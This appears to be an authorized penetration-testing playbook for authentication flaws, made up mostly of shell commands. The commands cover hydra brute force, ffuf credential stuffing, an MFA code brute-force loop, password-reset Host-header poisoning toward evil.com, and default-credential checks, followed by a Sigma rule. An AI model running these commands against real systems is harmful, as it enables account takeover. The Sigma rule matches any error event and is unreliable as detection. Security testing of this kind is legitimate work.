<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-authentication-vulnerabilities
description: >-
  Test authentication mechanisms for credential stuffing, brute force,
  MFA bypass, password reset poisoning, default credentials, and broken
  authentication flows including JWT and OAuth2 weaknesses.
domain: cybersecurity
subdomain: application-security
tags:
  - authentication
  - credential-stuffing
  - mfa-bypass
  - password-reset
  - owasp-a07
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1078", "T1110", "T1556"]
  owasp-top10: ["A07"]
  tools: ["burp-suite", "hydra", "nuclei", "curl", "ffuf"]
---

# Testing Authentication Vulnerabilities

## Overview

Authentication vulnerabilities allow attackers to bypass login mechanisms,
take over accounts, and escalate privileges. Testing covers credential
attacks, MFA bypass, password reset poisoning, and token-based auth flaws.

## Prerequisites

- Tools: ["burp-suite", "hydra", "nuclei", "curl", "ffuf"]
- Authorized testing engagement with written scope
- Target application access and credentials

## Workflow

### Step 1: Credential Attack Testing

```bash
# Brute-force login endpoint with hydra
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

# Credential stuffing with ffuf
ffuf -u https://target.com/api/login -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"FUZZ","password":"FUZZ2"}' \
  -w emails.txt:FUZZ -w passwords.txt:FUZZ2 \
  -mc 200 -mode pitchfork

# Test account lockout threshold
for i in $(seq 1 20); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
    https://target.com/login -d "user=admin&pass=wrong$i")
  echo "Attempt $i: $STATUS"
done
```

### Step 2: MFA Bypass Testing

```bash
# Test MFA code reuse
curl -s -X POST https://target.com/verify-mfa \
  -H "Cookie: session=$SESSION" \
  -d "code=123456"
# Reuse same code after successful verification

# Test MFA brute-force (4-digit code)
for code in $(seq -w 0000 9999); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
    https://target.com/verify-mfa -d "code=$code" -H "Cookie: session=$SESSION")
  [ "$STATUS" = "200" ] && echo "Valid code: $code" && break
done

# Test direct access bypassing MFA step
curl -s -H "Cookie: session=$SESSION" https://target.com/dashboard
```

### Step 3: Password Reset Poisoning

```bash
# Host header poisoning on reset endpoint
curl -s -X POST https://target.com/forgot-password \
  -H "Host: evil.com" \
  -d "email=victim@target.com"

# Test reset token predictability
# Request multiple tokens and check for sequential patterns
for i in $(seq 1 5); do
  curl -s -X POST https://target.com/forgot-password \
    -d "email=test@target.com" -v 2>&1 | grep -i "token\|location"
done
```

### Step 4: Default Credential Scanning

```bash
# Nuclei default credential templates
nuclei -u https://target.com -t http/default-logins/ -severity critical,high

# Common default credential test
curl -s -X POST https://target.com/login \
  -d "username=admin&password=admin" -o /dev/null -w "%{http_code}"
curl -s -X POST https://target.com/login \
  -d "username=admin&password=password" -o /dev/null -w "%{http_code}"
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Brute-force attempts | Auth logs | Multiple failed logins per account/IP |
| MFA brute-force | Auth service | Rapid MFA code submissions |
| Password reset abuse | Mail logs | Multiple reset requests for same account |
| Default credentials | Auth logs | Login with known default username |

```yaml
title: Testing Authentication Vulnerabilities Detection
id: 12f64988-3dbc-4d72-9e62-7bdfe5bae2df
status: experimental
description: Detects suspicious activity related to testing authentication vulnerabilities techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1078
  - attack.t1110
  - attack.t1556
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] All relevant attack vectors tested
- [ ] Findings documented with severity and evidence
- [ ] Detection artifacts identified
- [ ] Remediation recommendations provided

## References

- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
- [MITRE ATT&CK](https://attack.mitre.org/)
